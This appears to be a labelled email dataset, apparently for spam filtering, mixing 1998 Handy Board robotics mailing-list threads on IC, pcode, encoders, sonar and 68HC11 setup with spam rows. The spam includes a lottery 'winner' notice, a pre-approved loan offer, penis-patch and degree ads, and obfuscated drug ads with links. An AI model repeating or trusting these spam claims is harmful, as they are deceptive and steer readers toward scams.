multiplexing, assuming you're only firing one sonar at a time. i could see the BINH being no problem. For sharing the ECHO, make sure the polaroid outputs are open collector so there isn't signal contention. Fred ",0,0 Maarten Emke ,"""'handyboard@media.mit.edu'"" ","Thu, 05 Feb 1998 16:13:45 +0100",Problems starting IC,"I'm at the phase of bringing up a handyboard till a point where I have to start IC for the first time (chapter 6.0.5). I did succeed to download the PCODE_HB.S19 code and the board is starting with a beep and the IC startup message. So, that seems to be ok, but when I start IC I get the following message: C:\\IC>ic Interactive C for 6811. Version 2.851 (Jul 27 1994) IC written by Randy Sargent and Anne Wright. Copyright 1994. (uses board pcode by R. Sargent, F. Martin, and A. Wright) This program is freeware and unsupported. It is provided as a service to hobbyists and educators. Type 'about' for information about support and obtaining newer versions of IC. Attempting to link to board on port com1 Synchronizing with board Pcode version 10.81 present on board Incompatible pcode version, or pcode corrupt Please use ""dl"" to reload pcode. Does this rings any bells, I don't have any clue? If tried this several times on a 486 and a Pentium running standalone dos 7 and a dos session under windows95 with the same result. BTW if I download the PCODER22.S19 it is possible to start IC, perhaps this give somebody a hint. Thanks for any help. Maarten Emke ",0,0 """Fred G. Martin"" ",Maarten Emke ,"Thu, 05 Feb 1998 11:47:21 -0500",Re: Problems starting IC ,"Maarten -- Quickly I can make the guess that your local copy of PCODE_HB.S19 is corrupt. The fact that PCODER22.S19 works indicates there's nothing wrong with your board. Try re-downloading PCODE_HB.S19 from the web site? Fred In your message you said: > I'm at the phase of bringing up a handyboard till a point where I have to > start IC for the first time (chapter 6.0.5). I did succeed to download the > PCODE_HB.S19 code and the board is starting with a beep and the IC startup > message. > > So, that seems to be ok, but when I start IC I get the following message: > > C:\\IC>ic > Interactive C for 6811. Version 2.851 (Jul 27 1994) > > IC written by Randy Sargent and Anne Wright. Copyright 1994. > (uses board pcode by R. Sargent, F. Martin, and A. Wright) > > This program is freeware and unsupported. It is provided as a service to > hobbyists and educators. Type 'about' for information about support > and obtaining newer versions of IC. > > Attempting to link to board on port com1 > Synchronizing with board > Pcode version 10.81 present on board > Incompatible pcode version, or pcode corrupt > Please use ""dl"" to reload pcode. > > Does this rings any bells, I don't have any clue? > > If tried this several times on a 486 and a Pentium running standalone dos 7 > and a dos session under windows95 with the same result. > > BTW if I download the PCODER22.S19 it is possible to start IC, perhaps this > give somebody a hint. > > Thanks for any help. > > Maarten Emke > > > ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Thu, 05 Feb 1998 09:01:17 -0800",Modem Cable,"The ""modem cable"" used to connect the computer to the serial interface/charger: Is this a ""null modem"" cable with the transmit & receive lines (pins 2 & 3) crossed, or is is a straight pin-to-pin serial cable? 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Having incredibly low gravity and being far away from its dying sun, a massive volcano sprouted on its surface, filling the entire western hemisphere, bulging upward some sixty kilometers into the sky. Great gouts of lava poured forth from the volcano, and immediately upon leaving the planet, the lava solidified into rock and was flung into low orbit. Hence, over the centuries, a magnificent igneous asteroid belt was created around Seeth, blanketing it in a swirl of rock. The treacherous asteroid belt deterred the scouts that would have claimed it for the Empire, and eventually a bankrupt Twi'lek mining corporation stumbled across Seeth. Desperate for new resources, scout ships penetrated the dense asteroid belt and beheld Seeth for the first time in recorded history. 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They built an ingenius mining platform in the center of the lava pool, and another, a space station, was put in geostationary orbit. The mining platform in the center of the pool was astride what looked like a whirpool, where the pooling lava drained downward to some unknown depths. The platform could easily sit there and strain the vast array of minerals and metals that flowed past its molecular seives. The space station only lasted for two years, but it proved useful in obtaining various ores. It was finally hit with an asteroid and knocked out of the sky, burning up on re-entry. Now the mining platform is the only visible sign of inhabitance on Seeth. Twice a month a convoy of cargo haulers travelling the Perlemian Trade Route stop briefly to rest, restock, and pick up the collected raw resources from Seeth. A one thousand person staff is needed to crew the giant mining platform (it looks a bit like the Eiffel Tower) and they perform their job faithfully, providing their buyers in the deep core with a constant supply of raw minerals and metals. Patrick rollens@your-net.com rollens@your-net.com ",0,0 Yoni Garbourg ,HandyBoard ,"Thu, 05 Feb 1998 17:39:42 -0500",encoder function," The encoder function pages say that for the fast encoder, the refresh rate is only 1 KHz. That is it can make only 1000 increments in a second. If I have an encoder that has a change rate on the order of a micro second, is there any reasonable way to use the encoder routines with it, or is there anything else I could do to use the 8 MHz (I think) clock of the 6811 for this particular encoding procedure. Yoni Garbourg ",0,0 """Fred G. Martin"" ",Brett Anthony ,"Thu, 05 Feb 1998 18:09:03 -0500",Re: Modem Cable ,"It is straight-thru. Please note that if you are connecting from a 9-pin male PC port to the HB interface's 25-pin female, the means that you have the following mapping: DB-9 DB-25 2 3 3 2 5 7 In other words, the same cable as you would use to connect to a standard 25-pin female modem. Fred In your message you said: > The ""modem cable"" used to connect the computer to the serial > interface/charger: Is this a ""null modem"" cable with the transmit & receive > lines (pins 2 & 3) crossed, or is is a straight pin-to-pin serial cable? > > Thanks, > Brett Anthony > Research Technician > School of Engineering and Computer Science > California State University, Sacramento > > e-mail: anthonyb@ecs.csus.edu > phone: (916)278-6253 > fax: (916)278-5949 > address: Brett Anthony > E&CS, CSUS > 6000 J St > Sacramento CA 95819-6023 > > ",0,0 Pat Benoy ,handyboard@media.mit.edu,"Thu, 05 Feb 1998 17:25:44 -0600",analog input test,"Fred; I am at the testanalogs portion of the assembly process. All has gone well up until this point. The knob varies between 0 and 255 as expected and the seven numbers all come up either 254 or 255 when I press the START button. However I am confused as to which headers I should insert the 10k resistor as well as the output I receive depending on which header pairs I use. Are the two outer most headers the two that are side by side at the edge of the board? If I insert the resistor in these the readings all stay 254 or 255. Or are the two outermost headers those which are separated by the in line resistor and the other header, (i.e. the header closest to the edge and the header closest to the plcc socket)? When I insert the resistor in these headers the number changes to 5 or 6 not 45. The voltage at pins 51 and 52 check out and I seem to have continuity. By the way, I attempted to download Pcode using hbdl and dlm using a 233 Pentium II, a 166 Pentium, and a 386 all without success. However, I was successful on the first try on the Pentium II using dl in a DOS window. Perhaps this should be recommended as the default down loader for PC's. Love your board;) Pat Benoy ",0,0 """Michael S. Reiling"" ",handyboard@media.mit.edu,"Thu, 05 Feb 1998 17:36:46 -0800",Sonar,"Has anyone used the diagrams off the HB wesite for connecting the 6500 sonar. If so, could someone please tell an ignorant CS major, what the six diodes are for, and if anything else can be substituted for them. My local Radio Crack seems to be out of thoose. Thanks mucho, Mike ",0,0 Thomas Hauri ,Yoni Garbourg ,"Fri, 06 Feb 1998 08:31:05 +0100",Re: encoder function,"Hi all I have written some routines to measure frequencies from 30Hz to 30kHz. I'm posting this with an attachement because several people have ask me already for these routines. To Fred: You can add these routines to the ftp server or anywhere on the handyboard hp if you want. > The encoder function pages say that for the fast encoder, the refresh rate > is only 1 KHz. That is it can make only 1000 increments in a second. If > I have an encoder that has a change rate on the order of a micro second, > is there any reasonable way to use the encoder routines with it, or is > there anything else I could do to use the 8 MHz (I think) clock of the > 6811 for this particular encoding procedure. Description: Here are my routines zipped for DOS. The asm-files were written on a mac using an editor with tabs of 4 spaces and saved in DOS format. If you load these files into an editor on the PC you might get wrong tabs. With WinEdit on PC you can set the spacing to 4 and everything works just fine. I do not have any manual in english because so far everything is written in german, sorry :((( But I can give you some instructions on how to use the programs. There are two icb-files to measure a pulsewidth with the TIC ports 2 & 3. --> pw_tic2.icb / -.asm --> pw_tic3.icb / -.asm Each of them has two global variables (pulsewidth2, pulse_done2 for TIC2, or pulsewidth3, pulse_done for TIC3). In the example below you can see how to use the routines: while(1){ get_pulsewidth3(0); while(! pulse_done3) { defer(); } fehler = korrektur + pulsewidth3-servo7_pulse_length/2; } After calling get_pulsewidth3(0) the asm-routine triggers and measures ONE pulse one TIC3. The argument has no effects on the routine. The pulsewidth can vary from about 35 microsecs up to 32ms. If shorter the routine will overread the pulse, if longer the internel counter will overflow and give you a false reading. With the global variable pulse_done3 you can find out wether the measuring has finished or not as shown above. Now you can read the pulsewidth with the global variable pulsewidth3. Be careful measuring pulsewidth smaler than 100us because the proportional error rises. To measure a wavelength with the supplied program (wl.icb /-.asm) you need to call the asm-routine get_wavelength(0). After that you can trigger the end of a measurement with the global variable wavelength. As long as this variable is equal to 0 nothing has been measured. As soon as it reads anything else than 0 that value is the measured wavelength. You can measure wavelength from about 35 microsecs up to 32ms. Same problems as above with the proportional error. There is only one routine for the TIC3 sofar, but it is really easy to change the routine to use it with any other Timer Input Counter. So, that's it..... Hope you can use these routines. Tom ",0,0 infofolday.day@virgilio.it,,"Fri, 06 Feb 1998 08:14:57 +0100",WINNER'S INFORMATIONS!!!,"WINNER'S INFORMATIONS!!! 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If you are sure you have a 10K resistor, and you are using the correct pins, and you are getting a reading of 5 or 6 (not 40), then this suggests that the resistor pack value is wrong. You should have a 47K resistor pack. If a 10K resistor yields a value of 5 or 6, you might have a 470K resistor pack soldered down between the +5v and signal rows. re: DL, thanks for your observations. I'll take note of it. Fred In your message you said: > Fred; > > I am at the testanalogs portion of the assembly process. All has gone > well up until this point. The knob varies between 0 and 255 as > expected and the seven numbers all come up either 254 or 255 when I > press the START button. However I am confused as to which headers I > should insert the 10k resistor as well as the output I receive depending > on which header pairs I use. Are the two outer most headers the two > that are side by side at the edge of the board? If I insert the > resistor in these the readings all stay 254 or 255. Or are the two > outermost headers those which are separated by the in line resistor and > the other header, (i.e. the header closest to the edge and the header > closest to the plcc socket)? When I insert the resistor in these > headers the number changes to 5 or 6 not 45. The voltage at pins 51 and > 52 check out and I seem to have continuity. > > By the way, I attempted to download Pcode using hbdl and dlm using a 233 > Pentium II, a 166 Pentium, and a 386 all without success. However, I > was successful on the first try on the Pentium II using dl in a DOS > window. Perhaps this should be recommended as the default down loader > for PC's. > > Love your board;) > > Pat Benoy > > ",0,0 """Fred G. Martin"" ",Thomas Hauri ,"Sat, 07 Feb 1998 09:05:13 -0500",Re: encoder function ,"Tom, it seems that your routines measure frequency but Yoni wanted to count transitions. Yoni, the approach is similar to what Tom has done in that you must use the timer input channels to get high frequencies. In the TCTL2 register, set the input lines to interrupt on either rising or falling edges. Create an interrupt routine that increments a memory variable on each interrupt, and then resets the interrupt flag for the next time. Each transition on the timer input pin with then cause the memory variable to be incremented. Fred ",0,0 """Fred G. Martin"" ",n8008@ldd.net,"Sat, 07 Feb 1998 09:09:59 -0500",Re: Rug Warrior Programs ,"you can use the mobile robot programs as long as you make appropriate changes for where you have mounted the sensors and motors. fred ",0,0 Lamar Dickerson ,handyboard@media.mit.edu,"Sat, 07 Feb 1998 04:37:42 -0600",We can approve Yours loan today 8wb58,"Dear Homeowner, handyboard@media.mit.edu http://lowlow1refinance.com/goodstep You have been approved for a $ 799,499 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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I really need to get these chips to work and am willing to ship out to anyone who has experience in setting the conf reg. I have no other idea's, at this point any help is welcome. Does anyone know the factory preset of the config on these chips, or if they can even be changed or used in the handyboard? Thanks, Quinn Marshal E-Mail: hobbytec@cas.auracom.com ",0,0 """Fred G. Martin"" ",HobbyTec ,"Sun, 08 Feb 1998 21:48:50 -0500",Re: 68hc811 ,"I don't remember troubles trying to reset configs on the e2's, but it's possible i never tried to disable the eeprom. have you tried using motorola's pcbug utility? fred In your message you said: > Hi, > > After 2 weeks of trying to reset/set the config reg. I have had no luck > using > any computer or software. I really need to get these chips to work and am > willing to ship out to anyone who has experience in setting the conf reg. > I have no other idea's, at this point any help is welcome. > > Does anyone know the factory preset of the config on these chips, or if > they can even be changed or used in the handyboard? > > Thanks, > > Quinn Marshal > E-Mail: hobbytec@cas.auracom.com > > > ",0,0 HobbyTec ,handyboard@media.mit.edu,"Sun, 08 Feb 1998 22:19:32 -0800",Pcbug config set.,">have you tried using motorola's pcbug utility? I have PCbug running and I can boot the hc811, after reading the motorola ""Pink book"" and the tec. docs I cant find anything on how to set the congif register. Does anyone know how to do this with the Pcbug software. >I don't remember troubles trying to reset configs on the e2's, but >it's possible i never tried to disable the eeprom. > > >fred The strange this is I cant get them to set to anyting in the config reg., eeprom or not, the whole register is FF from 0 to F, (could the entire config register be erased?, and can i re-enter the whole thing not just the first bit). I am guessing this is the problem because all my other 6811's have other values in the config register and the first bit is 0C, but on mine its all FF throughout. Quinn Marshal E-Mail: hobbytec@cas.auracom.com ",0,0 """A.J.vanderVegt"" ",handyboard@media.mit.edu,"Mon, 09 Feb 1998 13:52:56 +0100",IC and IR,"This weekend, I got my HandyBoard running! Everything went fine, exept that the pice of paper which was glued on my battery pack turned out to be a theft-protection: it contained a magnetic layer, which caused short-circuit, but after solving that, everything worked. Now I'd like to program the board ofcoure. The point is, I can't really start to program. I can type one line, and as soon as I press ENTER, the line is executed. Is there another way of programming IC than writing the program with my text editor, load it in IC, read error-messages, and go back to the editor to debug? 'Cause when executing 'IC -config' (on a dos / win'95 machine), I can type the name of a editor, which at default is emacs or something, which I don't own (and which is a Unix program, I thought.) Is there a way I can use DOS' Edit from with in IC (e.g. by pressing a magic key-combination?) Jeroen van der Vegt, A.J.vanderVegt@ITS.TUDelft.nl ",0,0 veenjs@cs.utwente.nl,handyboard@media.mit.edu,"Mon, 09 Feb 1998 15:23:34 +0100",Serial line interrupt,"Hello all, I'm currently trying to communicate between the Handy Board and a PC (i486) using the existing serial line between the two. Sending data from the handy Board to the PC is no problem. An interrupt handler puts all incoming serial data into a buffer, which the main program can read from. Sending data from the PC to the Handy Board is another story. The serial routines on http://www.ai.mit.edu/people/rsargent/ic/serialio.html work fine if the PC isn't sending very fast. The current 'solution' is to put the PC in a short loop after it has sent a character to slow it down. But that's not a very elegant solution. Is there a way to use the same technique on the handy Board as on the PC (using an interrupt handler)? If so, has anyone used that approach and is willing to share this code? If there is a simpler way of doing things, I would also be glad to know about it. Jan Sipke van der Veen ",0,1 John van der Meer ,Jason Goodman ,"Mon, 09 Feb 1998 16:06:25 -0500",Re: MTG platform inventory,"Jason Goodman wrote: > > Hi. Can you give me a list of the platforms owned by MTG, particularly the > oddly-shaped ones? I think all of the oddly-shaped ones are owned by MTG. Seriously, I no longer have set shop keys to check, but I believe we have: about two 4'x8' (one with narrow frame) one(?) 3.5'x8' one(?) 3'x8' about two 3'x6' (one with 3/8"", pieced top) two 4'x4' triangles one 4'x8' triangle miscellaneous smaller triangles two 4'x 4'/8' right trapezoids (both facing same direction) about two long, narrow rectangles two L-shaped -- one with all right angles one with the interior sides at angles one diamond shaped, four skinny trapezoids from Blood Brothers There are two 4'x8', with 2x4 frames and overhanging tops, that ended up in the MTG pile but I think were built by G&S. There may be some other 'standard' sizes that I've forgotten. The other half of the 4'x8' triangle should still be in the racks, unframed. ",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Mon, 09 Feb 1998 22:33:25 -0800",questions on IC,"Hi all, These questions are probably pretty trivial, but please bear with me, as I have only been using IC for 2 days: 1. I was under the impression that the files I loaded onto my HB would remain there when I turn it off, I mean, the pcode does, but when I load files or functions (for example lib_hb.c) using IC, they aren't there the next time I run IC. Is this normal? If so, and they get deleted when I quit IC, what do I need to do when I want to cut the umbilical and have my robot roll around on its own? 2. When I use the 'mem' command in IC, I get ' of bytes on host', where appears to be 32K minus the size of the files I have loaded. Is this how much memory is left on my HB or my PC? If it shows how much memory is left on my PC, is there a way to find out how much of the 32K is still available on the HB? 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Martin"" ",veenjs@cs.utwente.nl,"Wed, 11 Feb 1998 08:46:17 -0500",Re: Serial line interrupt ,"you could write an ICB driver that accepts the incoming serial char interrupt and buffers it up. other than that slowing down the PC is probably the best option. fred In your message you said: > Hello all, > > I'm currently trying to communicate between the Handy Board and a PC (i486) > using the existing serial line between the two. Sending data from the handy > Board to the PC is no problem. An interrupt handler puts all incoming serial > data into a buffer, which the main program can read from. > > Sending data from the PC to the Handy Board is another story. The serial > routines on http://www.ai.mit.edu/people/rsargent/ic/serialio.html work fine if > the PC isn't sending very fast. The current 'solution' is to put the PC in a > short loop after it has sent a character to slow it down. But that's not a ve ry > elegant solution. > > Is there a way to use the same technique on the handy Board as on the PC (usi ng > an interrupt handler)? If so, has anyone used that approach and is willing to > share this code? > > If there is a simpler way of doing things, I would also be glad to know about > it. > > Jan Sipke van der Veen > ",0,1 Germán Gentile ,"Chuck McManis , Lista de Robótica General , Lista de Motorola- 6811 , Lista de El_MICRO MICRO-EL , 'Handyboard Mailing List' , ""Fred G. Martin"" ","Wed, 11 Feb 1998 14:11:16 -0300",Proximity cards readers,"Anybody has used that cards??? I want to comunicate my 68hc11 with that. Wich protocol use??? Anybody know one reader what read westinghouse cards??? thanks a lot.... Germán Pablo Gentile. Genesys - Ingeniería en Sistemas. Data adquisition. Integral solutions for people identification and autorization. ggentile@cvtci.com.ar ",0,0 German Gentile ,"hc11 Mail list , 'Darwin Solano' , Chuck McManis , 'Handyboard Mailing List' ","Wed, 11 Feb 1998 16:23:20 -0300",RV: Proximity cards readers,-----Original Message----- De: Germán Gentile Para: Chuck McManis ; Lista de Robótica General ; Lista de Motorola- 6811 ; Lista de El_MICRO MICRO-EL ; 'Handyboard Mailing List' ; Fred G. Martin Fecha: Miércoles 11 de Febrero de 1998 14:11 Asunto: Proximity cards readers >Anybody has used that cards??? I want to comunicate my 68hc11 with >that. Wich protocol use??? Anybody know one reader what read >westinghouse cards??? > >thanks a lot.... > >Germán Pablo Gentile. >Genesys - Ingeniería en Sistemas. >Data adquisition. Integral solutions for >people identification and autorization. > >ggentile@cvtci.com.ar > >,0,0 Patrick Cutts ,handyboard@media.mit.edu,"Wed, 11 Feb 1998 14:40:12 -0800",Fw: questions on IC,"If there is ANYONE out there who can give me just a little guidance on these two issues, or at least the first and most important one, I would certainly appreciate hearing from them... an extended treatise isn't necessary, just a short answer will do... thanks, -patrick ---------- > From: Patrick Cutts > To: handyboard@media.mit.edu > Subject: questions on IC > Date: Monday, February 09, 1998 10:33 PM > > Hi all, > These questions are probably pretty trivial, but please bear with me, as I > have only been using IC for 2 days: > 1. I was under the impression that the files I loaded onto my HB would > remain there when I turn it off, I mean, the pcode does, but when I load > files or functions (for example lib_hb.c) using IC, they aren't there the > next time I run IC. Is this normal? If so, and they get deleted when I > quit IC, what do I need to do when I want to cut the umbilical and have my > robot roll around on its own? > > 2. When I use the 'mem' command in IC, I get ' of bytes on > host', where appears to be 32K minus the size of the files I > have loaded. Is this how much memory is left on my HB or my PC? If it > shows how much memory is left on my PC, is there a way to find out how much > of the 32K is still available on the HB? > > Thanks, > -patrick",0,0 cukwmzvaui ,handyboard@media.mit.edu,,"Looking for the safest method to enlarge your dick? Stop seeking, just try Penis Enlarge Patch.",By ordering Penis Enlarge Patch you can get 25 Patches just for $99.95. http://www.ewaroz.com/pt/?51&xkGBUt,1,1 shwinp ,handyboard@media.mit.edu,,Changing careers but lack the right Degree?,"University Degree OBTAiN A PROSPEROUS FUTURE, MONEY-EARNING POWER,AND THE PRESTIGE THAT COMES WITH HAVING THE CAREER POSITION YOU'VEALWAYS DREAMED OF. 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Reiling"" ",handyboard@media.mit.edu,"Thu, 12 Feb 1998 01:23:37 -0800",Revision,"Earlier I complained about the BATT light coming on, but then stupidity was pushed out of the way and I realized the battery was almost dead, so I plugged in the charger and put it on Zap. Sonar still does nothing, but the diodes got pretty warm. As cheezy as this might sound to you EEs, which side do you put the + power on. |-------- +----| | |------ | | | --------- It is supposed to look like that with the white stripe , right? Please let me know what I am doing wrong. Thanks again, Mike Reiling ",0,0 PCA95RAS@sheffield.ac.uk,handyboard@media.mit.edu,"Thu, 12 Feb 1998 11:43:42 +0000",'uploading' data?,"Hi, I am programming a 6.270 board with IC and wondered if there was any way of 'uploading' data from the board back to my PC? or would the only way to get the data be to print it out on the screen.... Thanks, Ruth ",0,0 """Fred G. Martin"" ",patrick@surfari.net,"Thu, 12 Feb 1998 09:45:43 -0500",Re: Fw: questions on IC ,"re: #1, in a sense, the stuff you downloaded *is* there, but IC doesn't know how to access it until you re-download. So yes, each time you restart IC, you must re-download your project. re: #2. there are not good reporting tools for memory usage. i think the 'mem' command reports free memeory in the IC application, which isn't that relevant. the way that the 6811 memory is partitioned is follows, there is basically 16K for user code. There is no way to free up more space without recompiling IC. Here are some more details. user program object code + user global variables 16320 bytes available runtime OS 7936 bytes used stack space for user processes 6656 bytes used buffer for interaction process 256 bytes used buffer for printing 256 bytes used When downloading your code, IC tells you how many bytes are going down. You've got 16,320 available. Fred In your message you said: > This is a multi-part message in MIME format. > > ------=_NextPart_000_01BD36FA.F5C69CC0 > Content-Type: text/plain; charset=ISO-8859-1 > Content-Transfer-Encoding: 7bit > > If there is ANYONE out there who can give me just a little guidance on > these two issues, or at least the first and most important one, I would > certainly appreciate hearing from them... an extended treatise isn't > necessary, just a short answer will do... > thanks, > -patrick > ---------- > > From: Patrick Cutts > > To: handyboard@media.mit.edu > > Subject: questions on IC > > Date: Monday, February 09, 1998 10:33 PM > > > > Hi all, > > These questions are probably pretty trivial, but please bear with me, as > I > > have only been using IC for 2 days: > > 1. I was under the impression that the files I loaded onto my HB would > > remain there when I turn it off, I mean, the pcode does, but when I load > > files or functions (for example lib_hb.c) using IC, they aren't there the > > next time I run IC. Is this normal? If so, and they get deleted when I > > quit IC, what do I need to do when I want to cut the umbilical and have > my > > robot roll around on its own? > > > > 2. When I use the 'mem' command in IC, I get ' of bytes on > > host', where appears to be 32K minus the size of the files > I > > have loaded. Is this how much memory is left on my HB or my PC? If it > > shows how much memory is left on my PC, is there a way to find out how > much > > of the 32K is still available on the HB? > >",0,0 MAR ERICSON ,"""Michael S. Reiling"" ","Thu, 12 Feb 1998 11:20:38 -0500",Re: Sonar,"Yes. It ""clicks"". I quess it's the part at the frequencies humans can hear. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 12 Feb 1998, Michael S. Reiling wrote: > I finished hooking up my 6500 sonar tonight, and it does nothing. > Actually, the Handy Board's BATT light comes on, which indicates to me that > there is a short some where along the lines. I checked my wiring and > everything seems to be okay. I did accidently plug in the power to the > sonar backwards. Is is possible I fryed something? > > Any suggestions? How does one know when it works, as I believe someone > mentioned they heard their's click. > > Thanks much, > Mike Reiling > > > ",0,0 roneill@thorung.eeng.dcu.ie,handyboard@media.mit.edu,"Thu, 12 Feb 1998 18:25:00 +0000",68HC11 modes,"Return-Path: Received: by thorung.eeng.dcu.ie (Linux Smail3.1.28.1 #5) id m0y2kzc-000FSwC; Wed, 11 Feb 98 22:51 GMT Message-Id: Date: Wed, 11 Feb 98 22:51 GMT From: roneill (""Richard O'Neill [94094039-EE]"") To: roneill Subject: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii I read in the Motorola MC68HC11 reference manual that the hardware mode select pins are ""MODB"" and ""MODA"" (pins 2 and 3). If the following table is true (copied from the manual), INPUTS MODE MODB MODA DESCRIPTION --------------------------------------- 1 0 Normal single chip 1 1 Normal expanded 0 0 Special bootstrap 0 1 Special test then, if MODB is always 0, the chip can only ever be in Special Bootstrap or Special Test mode. In the schematic of the CPU and Memory Circuit on the Handy Board Web page, MODB is tied low, so how can the chip ever be in Normal Single Chip mode? thanks, Rob O'Neill",0,0 roneill@thorung.eeng.dcu.ie,handyboard@media.mit.edu,"Thu, 12 Feb 1998 18:56:00 +0000",a scary story,"Just an interesting (or perhaps not) story about what just happened to me this week while putting my Handy-Board together. I was on the section where you put on the digital input circuitry, and all was going well so far - it loads pcode_hb.s19, hooks up to IC and executes commands from the PC. So far so good, but having loaded HBTEST.C and trying to run ""testdigitals()"", nothing happened when I pressed START. OK, started debugging and then things started going terribly wrong. Somehow I fried an led and then the display started to act funny. I could still download ""pcode_hb.s19"" and connect to IC, and even execute commands, but the display was either displaying nothing, or displaying half of the ""startup display message"" or displaying it in bits... It was really weird. Then, it stopped communicating with the computer altogether, which wasn't good, so I really thought I'd actually fried something else. I tested the memory and the address latches and they were OK, and then miraculously, it worked! After loading the pcode though, you had to flip the on/off switch (as the handy board doesn't have a RESET switch) to start the IC programme. However, it kept losing the pcode when I did this. I eventually worked out, that if you flick the switch very fast, this doesn't happen, so now I only have to debug the digital inputs again. ",0,0 """Michael S. Reiling"" ",Ian Bagley ,"Thu, 12 Feb 1998 16:50:34 -0800",Re: Sonar," Yup. I loaded the sonar.c file and ran the sonar_display() routine. It just displays values that make no sense. The sonar doesn't click and the diodes get hot. After recieveing some mail from other, I have come to the conclusion that the diodes are hooked up properly. What could be causing the heat? Is there a short somewhere? Thanks all, Mike ------------- >>I finished hooking up my 6500 sonar tonight, and it does nothing. >>Actually, the Handy Board's BATT light comes on, which indicates to me that >>there is a short some where along the lines. I checked my wiring and >>everything seems to be okay. I did accidently plug in the power to the >>sonar backwards. Is is possible I fryed something? >> >>Any suggestions? How does one know when it works, as I believe someone >>mentioned they heard their's click. >> >>Thanks much, >>Mike Reiling >> >> >I know its a silly question, but you have loaded the software to control >it haven't you? > > ___ IAN > | |__ _______ ______ ___ ______ ___ ___ > | _ \\| _ | ___| | | _____|\\ \\/ / > | |_ ) | _ | |_--- |___| ____| | | > |________|__| |__|____ |______|______| |____| > WWW.BAGLEY.DEMON.CO.UK|__|IAN@BAGLEY.DEMON.CO.UK > ",0,0 Mirabella Sung ,handyboard@media.mit.edu,"Thu, 12 Feb 1998 14:53:05 -0700",Re: your CtALlrS,"Hi V C P V L X A I I r A e a m A A o L v n b G L z I i a i R I a U t x e A S c M ra n http://www.xiterfunis.com we are all slaughtered or driven down and captured. Really it is enough to make one weep, after all one has gone through. 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",1,0 Joe Martin ,"""'handyboard@media.mit.edu'"" ","Fri, 13 Feb 1998 19:58:44 +1100",encoders,"Hello all, I am attempting to use the shaft encoder routines but am having trouble.When I try to load the file fencoder0.icb I get a message that ic cannot find the file.Any hints? Also I would like to know whether these routines count off one edge of a pulse or what dictates how the count is incremented. ",0,0 Ptolema Kinsey ,handyboard@media.mit.edu,"Thu, 12 Feb 1998 02:06:00 -0700",Re: AMnBtEN news,"Hi, L P V A X C V e r A m a I I v o L b n A A i z I i a L G t a U e x I R r c M n S A a http://www.hublecame.com returned in the form of sufficient money for decent food and acceptable wine, for clothes that fit, making his woman look pretty again, and, most important, for the doctors who made his woman feel better. The suit and shirt he wore today had been dug out of a closet. In many ways he and his woman were like the actors in a provincial touring company. They had costumes for their various roles. It was their business. ... Today ",1,1 veenjs@cs.utwente.nl,handyboard@media.mit.edu,"Fri, 13 Feb 1998 15:28:53 +0100",Interrupt for serial data,"I've decided to write an interrupt routine for the handling of serial data on the Handy Board. An example of an interrupt routine is given in the Handy Board technical reference. This works like a charm. I've modified it to use the SCI interrupt. The code is listed below. No interrupts seem te occur. The test is like this: * Start IC * load myfile.icb * load myfile.c (* in main : *) poke (0x3c, 1); printf (""%d"", foo); int_init (0); start_press (); printf (""%d"", foo); * Exit IC * reset Handy Board * it prints: 55 * send a character to the Handy Board (in Borland Pascal) * press Start button * it prints: 55 Can anyone see the mistake here? Hope I'm not too annoying with all my questions. Jan Sipke van der Veen #include ""include\\6811regs.asm"" subroutine_int_init: #include ""include\\findx.asm"" LDD SCIINT,X STD interrupt_code_exit+1 LDD #interrupt_code_start STD SCIINT,X * Receive Enable (bit 2) + * Transmit Enable (bit 3) + * Receive Interrupt Enable (bit 5) = $2C LDAA #$2C STAA SCCR2,X RTS variable_foo: FDB 55 interrupt_code_start: LDD #42 STD variable_foo interrupt_code_exit: JMP $0000 ",0,0 Greg Starr ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 10:13:16 -0700",Lego 9V motors work well?,"What has been people's experience in using the Lego 9V motors with the Handyboard? I know they're overpriced, but they are easy to use... We've used small RC car motors etc. in our Lego robot course in past years, but some students have been looking at the Lego motors and I promised them I'd see what I can find out. Thanks for any help. --greg ***************************************************************** * Greg Starr, Professor and Graduate Advisor * * Department of Mechanical Engineering ph (505) 277-6298 * * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * * email- starr@unm.edu WWW- http://pliers.unm.edu/~starr/ * ***************************************************************** ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Fri, 13 Feb 1998 13:45:18 -0500",Re: Lego 9V motors work well?,"[Greg Starr] spake unto the ether: > What has been people's experience in using the Lego 9V motors with the > Handyboard? I know they're overpriced, but they are easy to use... Performance-wise, they are okay (i.e., they are powerful enough). I don't like the short axle they have on them, though (compared to e.g. a Mabuchi motor with a LEGO 2x drilled axle Super-Glued onto the motor shaft), because gears (especially worm gears) slip off of them. With a longer axle, you can use a half-bushing on either side of the gear to lock it down. They are indeed terribly overpriced...just like the SPST switch in a LEGO brick for $20, and the photoresistor in a LEGO brick for $26. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 """Fred G. Martin"" ",Greg Starr ,"Fri, 13 Feb 1998 14:44:23 -0500",Re: Lego 9V motors work well? ,"LEGO motors work great. Fred > What has been people's experience in using the Lego 9V motors with the > Handyboard? I know they're overpriced, but they are easy to use... > > We've used small RC car motors etc. in our Lego robot course in past years, > but some students have been looking at the Lego motors and I promised them > I'd see what I can find out. Thanks for any help. > > --greg > > ***************************************************************** > * Greg Starr, Professor and Graduate Advisor * > * Department of Mechanical Engineering ph (505) 277-6298 * > * University of New Mexico, Albuquerque NM 87131 FAX 277-1571 * > * email- starr@unm.edu WWW- http://pliers.unm.edu/~starr/ * > ***************************************************************** > > > ",0,1 Bob Avanzato ,"Greg Starr , handyboard@media.mit.edu","Fri, 13 Feb 1998 14:46:35 -0500",Re: Lego 9V motors work well?,"Hi Greg, I have been using LEGO 9v motors for a few years and I am very pleased with the results. I run freshman and sophomore engineering design and computer science courses using LEGO kits and HB's. The motors are well worth the price if you are integrating with LEGO. My students have built Nerf basketball playing robots, a successful 